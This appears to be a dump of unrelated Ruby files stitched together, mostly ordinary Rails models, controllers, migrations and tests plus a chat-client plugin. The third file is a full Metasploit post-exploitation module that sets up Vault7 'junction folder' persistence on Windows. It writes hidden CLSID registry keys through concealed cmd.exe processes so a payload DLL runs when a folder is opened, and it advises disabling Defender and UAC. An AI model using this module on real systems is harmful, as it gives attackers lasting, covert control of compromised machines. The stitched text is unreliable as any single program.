if @timeline_slugs.include?(widget.slug)
messages.deach do |message|
message.quoting_messages_d(true).next{|quoting_messages|
widget << widget.not_in_message(quoting_messages) unless quoting_messages.empty?
}.terminate(_('引用ツイートが取得できませんでした'))
widget << widget.not_in_message(message.quoted_by) if message.quoted_by?
end
end
end
on_gui_timeline_add_messages do |widget, messages|
if widget.is_a?(Plugin::GUI::Timeline) && !@timeline_slugs.include?(widget.slug)
Delayer::Deferred.when(
*messages.select(&:has_receive_message?).map do |m|
m.replyto_source_d(true).next do |parent|
[parent, m]
end.trap do |err|
Delayer::Deferred.fail(err) if err
end
end
).next do |result|
graph = result.compact.group_by { |p, _| p }.transform_values! do |v|
v.map { |_, c| c }.freeze
end
if !graph.empty?
@timeline_slugs.map { |s| timeline(s) }.each do |tl|
tl.in_message(graph.keys).each do |parent|
tl << graph[parent]
end
end
end
end.terminate
end
end
on_gui_destroy do |widget|
if widget.is_a? Plugin::GUI::Timeline
@timeline_slugs.delete(widget.slug)
end
end
end
|
class Role < ApplicationRecord
before_save :save_validate
has_many :users
validates :name, length: { maximum: 30 }, presence: true, uniqueness: true
private
def save_validate
self.name.capitalize!
end
end
|
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Exploit Title : junction_shell_folders_persistence.rb
# Module Author : pedr0 Ubuntu [r00t-3xp10it]
# Vuln discover : vault7 | wikileaks | nsa
# Tested on : Windows 2008 | Windows 7 | Windows 10
# POC: https://wikileaks.org/ciav7p1/cms/page_13763373.html
#
#
# [ DESCRIPTION ]
# Implementation of vault7 junction folders persistence mechanism. A junction folder in Windows is a method in which
# the user can cause a redirection to another folder/appl. This module will add a registry hive in HKCU(CLSID) to be
# abble to execute our payload, then builds a Folder named POC.{GUID} that if accessed will trigger the execution of
# our payload. Also Check ADVANCED OPTIONS for PERSIST_EXPLORER (payload.dll) or RENAME_PERSIST (payload.dll) options.
#
#
# [ MODULE OPTIONS ]
# The session number to run this module on => set SESSION 3
# The full path of the appl or payload to run => set APPL_PATH C:\\Windows\\System32\\calc.exe
# The full path and name of folder to be created => set FOLDER_PATH C:\\Users\\%username%\\Destop\\POC
# The full path [local] were to store logfiles => set LOOT_FOLDER /root/.msf4/loot
# Use explorer Start Menu to persiste our agent.dll? => set PERSIST_EXPLORER true
# Rename ..\\Start Menu\\..\\Accessories.{GUID}? => set RENAME_PERSIST true
# ----------------------------------------------------------------------------------------------------
# WARNING: 'PERSIST_EXPLORER' and 'RENAME_PERSIST' technics were tested using one payload.DLL and
# 'RENAME_PERSIST' option will rename %AppData%\\microsoft\\windows\\Start Menu\\Programs\\Accessories
# to: %AppData%\\microsoft\\windows\\Start Menu\\Programs\\Accessories.{GUID} <--junction folder
# ----------------------------------------------------------------------------------------------------
#
#
#
# [ PORT MODULE TO METASPLOIT DATABASE ]
# Kali linux COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/junction_shell_folders_persistence.rb
# Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/junction_shell_folders_persistence.rb
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate
#
#
# [ LOAD/USE AUXILIARY ]
# meterpreter > background
# msf exploit(handler) > reload_all
# msf exploit(handler) > use post/windows/escalate/junction_shell_folders_persistence
# msf post(junction_shell_folders_persistence) > info
# msf post(junction_shell_folders_persistence) > show options
# msf post(junction_shell_folders_persistence) > show advanced options
# msf post(junction_shell_folders_persistence) > set [option(s)]
# msf post(junction_shell_folders_persistence) > exploit
#
# [ HINT ]
# In some linux distributions postgresql needs to be started and
# metasploit database deleted/rebuild to be abble to load module.
# 1 - service postgresql start
# 2 - msfdb reinit (optional)
# 3 - msfconsole -x 'reload_all'
##
#
# Metasploit Module librarys to load ..
#
require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
#
# Metasploit Class name and mixins ..
#
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Error
include Msf::Post::Windows::Registry
#
# The 'def initialize()' funtion ..
# Building Metasploit/Armitage info GUI/CLI description
#
def initialize(info={})
super(update_info(info,
'Name' => 'vault7 junction folders [User-level Persistence]',
'Description' => %q{
Implementation of vault7 junction folders persistence mechanism. A junction folder in Windows is a method in which the user can cause a redirection to another folder/appl. This module will add a registry hive in HKCU(CLSID) to be abble to execute our payload, then builds a Folder named POC.{GUID} that if accessed will trigger the execution of our payload. Also Check ADVANCED OPTIONS for PERSIST_EXPLORER (payload.dll) or RENAME_PERSIST (payload.dll) options.
},
'License' => UNKNOWN_LICENSE,
'Author' =>
[
'Module Author: r00t-3xp10it', # post-module author
'Vuln discover: vault7 | wikileaks | nsa', # vulnerability credits
'special thanks: browninfosecguy | betto(ssa)', # module debug help
],
'Version' => '$Revision: 1.5',
'DisclosureDate' => 'jun 4 2018',
'Platform' => 'windows',
'Arch' => 'x86_x64',
'Privileged' => 'false', # thats no need for privilege escalation..
'Targets' =>
[
# Tested againts windows 2008 | windows 7 | Windows 10
[ 'Windows 2008', 'Windows xp', 'windows vista', 'windows 7', 'Windows 10' ]
],
'DefaultTarget' => '4', # default its to run againts windows 7
'References' =>
[
[ 'URL', 'https://github.com/r00t-3xp10it/msf-auxiliarys' ],
[ 'URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html' ]
],
'DefaultOptions' =>
{
'SESSION' => '1', # run againts session 1
'LOOT_FOLDER' => '/root/.msf4/loot', # default logs storage directory
'APPL_PATH' => '%windir%\\System32\\calc.exe', # Default appl (payload) to run
'FOLDER_PATH' => 'C:\\Users\\%username%\\Desktop\\POC', # Default folder path (demo)
},
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('SESSION', [ true, 'The session number to run this module on']),
OptString.new('APPL_PATH', [ true, 'The full path of the appl or payload to run']),
OptString.new('FOLDER_PATH', [ true, 'The full path and name of folder to be created']),
OptString.new('LOOT_FOLDER', [ false, 'The full path [local] were to store logfiles'])
], self.class)
register_advanced_options(
[
OptBool.new('PERSIST_EXPLORER', [ false, 'Use explorer Start Menu to persiste our agent.dll?' , false]),
OptBool.new('RENAME_PERSIST', [ false, 'Rename Start Menu\\..\\Accessories to Accessories.{GUID}?' , false])
], self.class)
end
def run
session = client
#
# Variable declarations (msf API calls)
#
oscheck = client.fs.file.expand_path("%OS%")
sysnfo = session.sys.config.sysinfo
runtor = client.sys.config.getuid
runsession = client.session_host
directory = client.fs.dir.pwd
# elevate session privileges befor runing options
client.sys.config.getprivs.each do |priv|
end
#
# MODULE BANNER
#
print_line(" +------------------------------------------------+")
print_line(" | junction Shell Folders (User-Land Persistence) |")
print_line(" | Author : r00t-3xp10it (SSA) |")
print_line(" +------------------------------------------------+")
print_line("")
print_line(" Running on session : #{datastore['SESSION']}")
print_line(" Computer : #{sysnfo['Computer']}")
print_line(" Operative System : #{sysnfo['OS']}")
print_line(" Target IP addr : #{runsession}")
print_line(" Payload directory : #{directory}")
print_line(" Client UID : #{runtor}")
print_line("")
print_line("")
#
# the 'def check()' funtion that rapid7 requires to accept new modules.
# Guidelines for Accepting Modules and Enhancements:https://goo.gl/OQ6HEE
#
# check for proper operative system (windows-not-wine)
if not oscheck == "Windows_NT"
print_error("[ ABORT ]: This module only works againts windows systems")
return nil
end
#
# check for proper operative system (not windows 10)
#
if sysinfo['OS'] =~ /Windows 10/
print_line("windows 10 version its protected againts this exploit.")
print_line("-------------------------------------------------------")
print_line("Disable 'Controlled folder access' in Windows Defender")
print_line("And disable also UAC from running (set never notify)")
print_line("If you wish to teste this on windows 10 version distros")
print_line("-------------------------------------------------------")
Rex::sleep(7.0)
end
# variable declarations ..
r=''
hacks = []
app_path = datastore['APPL_PATH'] # %windir%\\System32\\calc.exe
fol_path = datastore['FOLDER_PATH'] # C:\\Users\%username%\Desktop\POC
hive_key = "HKCU\\Software\\Classes\\CLSID" # uac hive key (CLSID)
#
# check for proper config settings enter
# to prevent 'unset all' from deleting default options ..
#
if datastore['PERSIST_EXPLORER'] == 'nil' || datastore['FOLDER_PATH'] == 'nil'
print_error("Options not configurated correctly ..")
print_warning("Please set APPL_PATH | FOLDER_PATH!")
return nil
else
print_status("junction shell folders (vault7 - nsa)")
Rex::sleep(1.5)
end
#
# Search in target regedit if hijack hive exists ..
#
print_status("Reading target registry hive keys ..")
Rex::sleep(1.0)
if registry_enumkeys("HKCU\\Software\\Classes\\CLSID")
print_status("Remote registry hive key found!")
Rex::sleep(1.0)
else
# registry hive key not found, aborting module execution ..
print_warning("Hive key: HKCU\\Software\\Classes\\CLSID")
print_error("[ABORT]: module cant find the registry hive key needed ..")
print_error("System does not appear to be vulnerable to the exploit code!")
print_line("")
Rex::sleep(1.0)
return nil
end
#
# check if file/appl exists remote (APPL_PATH)
#
print_status("check if APPL exists in target ..")
if session.fs.file.exist?(app_path)
print_status("Application (payload) found ..")
else
print_error("Not found: #{app_path}")
print_warning("Deploy your [payload] before using this module ..")
print_warning("OR point to one existing application full path ..")
print_line("")
Rex::sleep(1.0)
return nil
end
#
# GATHER INFO ABOUT TARGET SYSTEM .
# store %AppData% directory full path ..
print_status("Retriving %AppData% full path ..")
Rex::sleep(1.0)
data = client.fs.file.expand_path("%AppData%")
# store username into a variable
print_status("Retriving target %username% ..")
Rex::sleep(1.0)
user_name = client.fs.file.expand_path("%username%")
# create new GUID and store it in a variable
print_status("Creating new GUID value ..")
Rex::sleep(1.0)
rep_GUID = cmd_exec("powershell.exe -ep -C \"[guid]::NewGuid().Guid\"")
print_good("New GUID : #{rep_GUID}")
# add parentesis to GUID value
new_GUID = "{#{rep_GUID}}"
Rex::sleep(1.0)
#
# List of registry keys to add to target regedit .. (rundll32.exe payload.dll,main)
#
if datastore['PERSIST_EXPLORER'] == true || datastore['RENAME_PERSIST'] == true
print_status("Persistance mode sellected")
dll_exe = "rundll32 #{app_path},main"
Rex::sleep(1.0)
hacks = [
"REG ADD #{hive_key}\\#{new_GUID}\\InprocServer32 /ve /t REG_SZ /d #{dll_exe} /f",
"REG ADD #{hive_key}\\#{new_GUID}\\InprocServer32 /v LoadWithoutCOM /t REG_SZ /d /f",
"REG ADD #{hive_key}\\#{new_GUID}\\InprocServer32 /v ThreadingModel /t REG_SZ /d Apartment /f",
"REG ADD #{hive_key}\\#{new_GUID}\\ShellFolder Attributes /t REG_DWORD /d 0xf090013d /f",
"REG ADD #{hive_key}\\#{new_GUID}\\ShellFolder HideOnDesktop /t REG_SZ /d /f",
"RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True"
]
else
#
# DEMO mode (user inputs)
#
print_status("Demonstration mode sellected")
Rex::sleep(1.0)
hacks = [
"REG ADD #{hive_key}\\#{new_GUID}\\Shell\\Manage\\Command /ve /t REG_SZ /d #{app_path} /f",
"RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True"
]
end
#
# LOOP funtion (not windows10)
#
session.response_timeout=120
hacks.each do |cmd|
begin
# execute cmd prompt in a hidden channelized windows
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
print_line(" Hijack: #{cmd}")
# close client channel when done
while(d = r.channel.read)
break if d == ""
end
r.channel.close
r.close
# error exception funtion
rescue ::Exception => e
print_error(" Error Running Command: #{e.class} #{e}")
end
end
#
# build POC folder (junction shell folders)
#
if datastore['PERSIST_EXPLORER'] == true
folder_poc ="#{data}\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\POC"
print_status("Creating junction shell folder ..")
Rex::sleep(1.0)
cmd_exec("cmd.exe /R mkdir \"#{folder_poc}.#{new_GUID}\"")
elsif datastore['RENAME_PERSIST'] == true
ren_per = "#{data}\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories"
print_status("Creating junction shell folder ..")
Rex::sleep(1.0)
cmd_exec("cmd.exe /R rename \"#{ren_per} #{ren_per}.{new_GUID}\"")
else
print_status("Creating junction shell folder ..")
Rex::sleep(1.0)
cmd_exec("cmd.exe /R mkdir \"#{fol_path}.#{new_GUID}\"")
end
#
# create cleaner resource file [local PC]
#
print_status("Writing cleaner resource file ..")
Rex::sleep(1.0)
rand = Rex::Text.rand_text_alpha(8)
loot_folder = datastore['LOOT_FOLDER']
File.open("#{loot_folder}/#{rand}.rc", "w") do |f|
f.write("reg deletekey -k HKCU\\\\Software\\\\Classes\\\\CLSID\\\\#{new_GUID}")
f.close
end
#
# exploit finished (print info on screen)..
#
Rex::sleep(1.0)
if datastore['PERSIST_EXPLORER'] == true
print_line("---------------------------------------------------")
print_line("Trigger exploit: #{folder_poc}")
print_line("")
print_line("Resource file : #{loot_folder}/#{rand}.rc")
print_line("---------------------------------------------------")
elsif datastore['RENAME_PERSIST'] == true
print_line("---------------------------------------------------")
print_line("Trigger exploit: #{ren_per}")
print_line("")
print_line("Resource file : #{loot_folder}/#{rand}.rc")
print_line("Rename folder : cmd.exe /c rename #{ren_per}.{new_GUID} #{ren_per}")
print_line("---------------------------------------------------")
else
print_line("---------------------------------------------------")
print_line("Trigger exploit: #{fol_path}")
print_line("")
print_line("Resource file : #{loot_folder}/#{rand}.rc")
print_line("---------------------------------------------------")
end
#
# end of the 'def run()' funtion (exploit code) ..
#
end
end
|
require 'markdown_to_html'
class PublicPostsController < ApplicationController
def index
@posts = Post.where(:published_at.lte => Time.now)
.desc(:published_at)
.page(params[:page] || 1)
.per(3)
@next_page = (params[:page] || 1).to_i + 1
if request.xhr?
render 'index', layout: false, format: :json
end
end
def show
@post = Post.find_by(slug: params[:slug])
end
def preview
html = MarkdownToHTML.markdown_to_html(params[:text])
post = OpenStruct.new(body_html: html)
render text: post.body_html
end
end
|
class AddDetailsToAttachedDocuments < ActiveRecord::Migration
def change
add_column :attached_documents, :description, :string, default: ''
add_column :attached_documents, :last_update, :datetime
add_column :attached_documents, :locked, :boolean, default: false
end
end |
# frozen_string_literal: true
module BackgroundNotifiable
extend ActiveSupport::Concern
def report_progress(args)
current = args[:current]
total = args[:total]
records_per_update = (total / 20).clamp(1, 100)
if background_channel && ((current % records_per_update == 0) || (current == 1) || (current == total))
notifier.publish(channel: background_channel, event: 'update', action: args[:action],
resource: args[:resource], current_object: current, total_objects: total)
end
end
def report_status(args)
notifier.publish(channel: background_channel, event: 'update', message: args[:message]) if background_channel
end
def report_error(args)
notifier.publish(channel: background_channel, event: 'error', message: args[:message]) if background_channel
end
def report_interactor_response(response)
if response.successful?
report_status(message: response.message)
else
report_status(message: response.message_with_error_report)
end
end
def report_raw_times_available(resource)
channel = "raw-times-available.#{resource.class.to_s.underscore}.#{resource.id}"
message = {unconsidered: resource.raw_times.unconsidered.size,
unmatched: resource.raw_times.unmatched.size}
Pusher.trigger(channel, 'update', message)
end
private
def notifier
BackgroundNotifier
end
end
|
class PizzaShop
include Diametric::Entity
include Diametric::Persistence::Peer
# Use for validations and options in view
def self.quality_options
%w(poor serviceable decent good excellent)
end
attribute :name, String, index: true
attribute :location, Ref, :cardinality => :one
attribute :quality, String
validates :quality, inclusion: { in: self.quality_options }
attribute :phone, String
validates :phone, format: { with: /^\d{3}.\d{3}.\d{4}$/, message: "Phone number must be ###-###-####" }, :allow_blank => true
end
PizzaShop.create_schema.get
|
require File.expand_path(File.dirname(__FILE__) + "/../test_helper")
class ArticleTest < ActiveSupport::TestCase
def test_teaser_content
article = Article.new :title => 'Testing displayable content',
:teaser => 'Teaser content',
:content => 'Foo Bar 1<div class="page_break"></div>Foo Bar 2<div class="page_break"></div>Foo Bar 3',
:article_category_id => 1, :article_instance_id => 1
assert article.teaser_content == 'Teaser content'
article = Article.new :title => 'Testing displayable content',
:teaser => 'Teaser Content 2', :show_teaser_on_page_1 => false,
:content => 'Foo Bar 1 Foo Foo',
:article_category_id => 1, :article_instance_id => 1
assert article.teaser_content == 'Teaser Content 2'
end
def test_article_validation
@user = Factory :superuser
@article_instance = Factory :article_instance
@article_category = Factory :article_category
article = create_unsaved_article "Article Type Test Article"
article.article_category = @article_category
assert article.article_type == 'article', 'Default article_type should be "article"'
article.article_type = 'invalid_type'
assert((!article.valid? and article.errors.on(:article_type)), 'Article with type "invalid_type" should not be valid')
article.article_type = 'article'
assert article.valid?, 'Otherwise-valid Article with type "article" should be valid'
article.title = ''
assert((!article.valid? and article.errors.on(:title)), 'Article of type "article" MUST NOT have a blank title')
article.article_type = 'qa'
assert((!article.valid? and article.errors.on(:contributor)), 'Article of type "qa" MUST have a contributor')
article.contributor = article.user
assert article.valid?, 'Article of type "qa" MAY have a blank title (contributor must be ! blank?)'
assert article.article_type == 'qa', 'Validation should not trigger reset of default article_type'
end
def test_displayable_content_pages
article = Article.new :title => 'Testing displayable content',
:teaser => 'Teaser Foo Bar 1',
:content => 'Foo Bar 1<div class="page_break"></div>Foo Bar 2<div class="page_break"></div>Foo Bar 3'
assert article.displayable_content_pages[0] == 'Teaser Foo Bar 1Foo Bar 1'
assert article.displayable_content_pages[1] == 'Foo Bar 2'
assert article.displayable_content_pages[2] == 'Foo Bar 3'
assert article.displayable_content_pages.size == 3
article = Article.new :title => 'Testing displayable content',
:teaser => 'Teaser part', :show_teaser_on_page_1 => false,
:content => 'Foo Bar 1<div class="page_break"></div>Foo Bar 2'
assert article.displayable_content_pages[0] == 'Foo Bar 1'
assert article.displayable_content_pages[1] == 'Foo Bar 2'
assert article.displayable_content_pages.size == 2
article = Article.new :title => 'Testing displayable content', :content => 'Foo Bar 1', :teaser => 'Teaser'
assert article.displayable_content_pages[0] == 'TeaserFoo Bar 1'
assert article.displayable_content_pages.size == 1
article = Article.new :title => 'Testing displayable content', :content => 'Foo Bar 1', :teaser => 'Teaser', :show_teaser_on_page_1 => false
assert article.displayable_content_pages[0] == 'Foo Bar 1'
assert article.displayable_content_pages.size == 1
article = Article.new :title => 'Testing displayable content', :content => nil
assert article.displayable_content_pages[0] == ''
assert article.displayable_content_pages.size == 1
end
def test_delete
user = Factory :superuser
article = Factory :article
article.delete
found = Article.find_by_id article.id
assert found
assert found.status == 'deleted'
end
def test_named_scopes_for_published_blogs
@user = Factory :superuser
@article_instance = ArticleInstance.new
@article_instance.short_name = "Blogs"
@article_instance.cobrand = Cobrand.root
@article_instance.save
article = create_article "article 1", Time.now + 1.seconds
article_foo = create_article "foo", Time.now + 2.seconds
article_bar = create_article "bar", Time.now + 3.seconds
article_baz = create_article "baz", Time.now + 4.seconds
article_baz.unpublish!
published = Article.published.paginate :conditions => {:article_instance_id => @article_instance.id},
:page => 1, :per_page => 4
assert published.include? article_foo
assert published.include? article_bar
assert published.include? article
assert !(published.include? article_baz)
article_baz.publish!
published = Article.published.paginate :conditions => {:article_instance_id => @article_instance.id},
:page => 1, :per_page => 4
assert published.include? article_foo
assert published.include? article_bar
assert published.include? article
assert published.include? article_baz
published = Article.published.by('published_at').paginate :conditions => {:article_instance_id => @article_instance.id, :article_category_id => 1},
:page => 1, :per_page => 2
assert published.size == 2
#assert !(published.include? article)
#assert !(published.include? article_foo)
#assert (published.include? article_bar)
#assert (published.include? article_baz)
end
def test_published_at
@user = Factory :superuser
@article_instance = ArticleInstance.new
@article_instance.short_name = "Blogs"
@article_instance.cobrand_id = Cobrand.root.id
@article_instance.save
article = create_article "article to pub unpub"
original_pub_ts = article.published_at
article.title = "pub-ed"
article.save
assert article.published_at == original_pub_ts
article.title = "unpub-ed"
article.status = 'draft'
article.save
assert article.published_at.nil?
article.title = "pub-ed"
article.save
assert article.published_at != original_pub_ts
end
def test_sticky_article_instance
@user = Factory :superuser
@article_instance = Factory :article_instance
a1 = create_article "article_1"
a2 = create_article "article_2"
a3 = create_article "article_3"
a1.is_sticky = true
a1.save!
sticky = Article.with_sticky(@article_instance, :only).first
assert a1 == sticky
assert a1.is_sticky?
#call save one more time because Article.stick should exclude the one being saved from unsticking
a1.save!
sticky = Article.with_sticky(@article_instance, :only).first
assert a1 == sticky
assert a1.is_sticky?
assert Article.with_sticky(@article_instance, :only).size == 1
not_sticky = Article.with_sticky(@article_instance, :not)
assert_not_nil not_sticky.index(a2)
assert_not_nil not_sticky.index(a3)
a2.is_sticky = true
a2.save!
sticky = Article.with_sticky(@article_instance, :only).first
assert a2 == sticky
assert a2.is_sticky?
a1 = Article.find_by_id a1.id
assert !a1.is_sticky?
assert Article.with_sticky(@article_instance, :only).size == 1
not_sticky = Article.with_sticky(@article_instance, :not)
assert_not_nil not_sticky.index(a1)
assert_not_nil not_sticky.index(a3)
a3.is_sticky = true
a3.save!
sticky = Article.with_sticky(@article_instance, :only).first
assert a3 == sticky
assert a3.is_sticky?
a1 = Article.find_by_id a1.id
assert !a1.is_sticky?
a2 = Article.find_by_id a2.id
assert !a2.is_sticky?
assert Article.with_sticky(@article_instance, :only).size == 1
not_sticky = Article.with_sticky(@article_instance, :not)
assert_not_nil not_sticky.index(a2)
assert_not_nil not_sticky.index(a1)
end
def test_sticky_article_category
@user = Factory :superuser
@article_instance = Factory :article_instance
categories = []
2.times { categories << (Factory :article_category) }
short_name = @article_instance.short_name = "CategoryStickinessScope"
App.article_instances[short_name] = { 'index_style' => 'blogs', 'stickiness_scope' => 'article_category'}
pubtime = Time.now
a1 = create_article "article_1", pubtime, categories[0].id # first category
a2 = create_article "article_2", pubtime, categories[0].id # same category as article_1
a3 = create_article "article_3", pubtime, categories[1].id # second category, same article instance
[a1, a2, a3].each {|article| article.is_sticky = true; article.save!}
ret_articles = [a1, a2, a3].map{|a| Article.find_by_id a.id}
assert ret_articles[0].is_sticky == false
assert ret_articles[1].is_sticky == true
assert ret_articles[2].is_sticky == true
end
test "should return teaser text stripping html tags" do
@blog = Factory :article_instance
@category = Factory :article_category
teaser_html = '<p><img src="product_thumb.gif" height=120 width=60/>teaser for <i>test</i> <b>article</b>'
article = Factory(:article, :article_category => @category, :article_instance => @blog,
:title => 'title',
:teaser => teaser_html,
:content => 'content')
assert_equal "teaser for test article", article.teaser_text
end
context "first/teaser image" do
before do
@user = Factory :superuser
@blog = Factory :article_instance
@category = Factory :article_category
end
test "should return first image in teaser as teaser image" do
article = Factory(:article, :article_category => @category, :article_instance => @blog,
:title => 'test title',
:teaser => 'test teaser <img src="first_thumb.gif" alt="first" width=50 height=50> with images <img src="last_thumb.gif">',
:content => 'test content <img src="first.jpg" alt="first"> with images <img src="last.jpg">')
assert_equal "first_thumb.gif", article.first_image
assert_equal "first_thumb.gif", article.teaser_image
end
test "should return first image in content as teaser image if teaser does not have images" do
article = Factory(:article, :article_category => @category, :article_instance => @blog,
:title => 'test title',
:teaser => 'test teaser without images',
:content => 'test content <img src="http://www.mysears.com/images/first.jpg" alt="first"> with images <img src="last.jpg">')
assert_equal "http://www.mysears.com/images/first.jpg", article.first_image
assert_equal "http://www.mysears.com/images/first.jpg", article.teaser_image
end
test "should return catgory default teaser image if neither teaser nor content has images" do
article = Factory(:article, :article_category => @category, :article_instance => @blog,
:title => 'test title',
:teaser => 'test teaser without images',
:content => 'test content without images')
assert_nil article.first_image
assert_equal @category.default_teaser_image, article.teaser_image
end
test "should return root category default teaser image if neither teaser nor content has images" do
@subcategory = Factory(:article_category, :article_instance => @blog, :parent => @category)
article = Factory(:article, :article_category => @subcategory, :article_instance => @blog,
:title => 'test title',
:teaser => 'test teaser without images',
:content => 'test content without images')
assert_nil article.first_image
assert_equal @category.default_teaser_image, article.teaser_image
end
end
context "root article category" do
test "should return root category if posted to root category" do
@user = Factory(:superuser)
@article_instance = Factory(:article_instance)
home = Factory(:article_category, :article_instance => @article_instance, :display_text => 'Home')
article = create_article('test', 1.day.ago, home.id)
assert_equal home, article.root_article_category
end
test "should return root category if article is posted to subcategory" do
@user = Factory(:superuser)
@article_instance = Factory(:article_instance)
home = Factory(:article_category, :article_instance => @article_instance, :display_text => 'Home')
kitchen = Factory(:article_category, :article_instance => @article_instance, :display_text => 'Kitchen', :parent => home)
article = create_article('test', 1.day.ago, kitchen.id)
assert_equal home, article.root_article_category
end
end
private
def create_unsaved_article(title, pub_time=Time.now, article_category_id=1)
article = Article.new
article.title = title
article.content = "Content Foo"
article.teaser = "Teaser"
article.article_category_id = article_category_id
article.user = @user
article.status = 'published'
article.article_instance = @article_instance
article
end
def create_article(title, pub_time=Time.now, article_category_id=1)
article = create_unsaved_article(title, pub_time, article_category_id)
article.save
article.published_at = pub_time
article.save!
article
end
end
|
json.array!(@devices) do |device|
json.extract! device, :id, :autnum_id, :name, :fqdn, :platform
json.url device_url(device, format: :json)
end
|
require 'rails_helper'
RSpec.describe 'Profile Orders Show', type: :feature do
describe 'As a Registerd User' do
before :each do
@user = create(:user)
@order_1 = create(:order, user_id: @user.id, status: 0)
@item_1 = create(:item)
@item_2 = create(:item)
@order_item_1 = create(:order_item, quantity: 5, ordered_price: 5.0, order: @order_1, item: @item_1, fulfilled: true)
@order_item_2 = create(:order_item, quantity: 4, ordered_price: 10.0, order: @order_1, item: @item_2, fulfilled: false)
allow_any_instance_of(ApplicationController).to receive(:current_user).and_return(@user)
end
it 'is linked to from the order index page' do
visit profile_orders_path
click_link "Order ID: #{@order_1.id}"
expect(current_path).to eq("/profile/orders/#{@order_1.id}")
end
it 'shows information about the order' do
visit profile_order_path(@order_1)
within '#order-info' do
expect(page).to have_content("Order ID: #{@order_1.id}")
expect(page).to have_content("Order Status: #{@order_1.status}")
expect(page).to have_content("Order Placed: #{@order_1.created_at.strftime("%m/%d/%Y")}")
expect(page).to have_content("Last Updated: #{@order_1.updated_at.strftime("%m/%d/%Y")}")
expect(page).to have_content("QTY of Items: #{@order_1.total_count}")
expect(page).to have_content("Grand Total: #{number_to_currency(@order_1.total_cost)}")
end
within "#item-#{@item_1.id}" do
expect(page).to have_xpath("//img[@src='https://vignette.wikia.nocookie.net/animalcrossing/images/7/72/Tom_Nook.png/revision/latest?cb=20101105231130']")
expect(page).to have_content("Item: #{@item_1.name}")
expect(page).to have_content("QTY: #{@order_item_1.quantity}")
expect(page).to have_content("Subtotal: #{number_to_currency(@order_item_1.subtotal)}")
end
end
it 'lets a user cancel a pending order' do
item_1_quantity = @item_1.quantity
item_2_quantity = @item_2.quantity
visit profile_order_path(@order_1)
within '#order-info' do
expect(page).to have_button("Cancel Order")
click_button "Cancel Order"
end
expect(current_path).to eq(profile_path)
expect(page).to have_content("The order has been cancelled")
visit profile_order_path(@order_1)
expect(page).to have_content("cancelled")
expect(page).to_not have_content("pending")
expect(page).to_not have_content("packaged")
expect(page).to_not have_content("shipped")
updated_order_item_1 = OrderItem.first
updated_order_item_2 = OrderItem.second
updated_item_1 = Item.first
updated_item_2 = Item.second
expect(updated_order_item_1.fulfilled?).to be_falsey
expect(updated_order_item_2.fulfilled?).to be_falsey
expect(updated_item_1.quantity).to eq((item_1_quantity + @order_item_1.quantity))
expect(updated_item_2.quantity).to eq((item_2_quantity))
end
it 'only shows the cancel order button if a package is pending' do
order_1 = create(:order, status: 1, user_id: @user.id)
order_2 = create(:order, status: 2, user_id: @user.id)
order_3 = create(:order, status: 3, user_id: @user.id)
order_4 = create(:order, status: 0, user_id: @user.id)
visit profile_order_path(order_4)
expect(page).to have_button("Cancel Order")
visit profile_order_path(order_1)
expect(page).to_not have_button("Cancel Order")
visit profile_order_path(order_2)
expect(page).to_not have_button("Cancel Order")
visit profile_order_path(order_3)
expect(page).to_not have_button("Cancel Order")
end
end
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.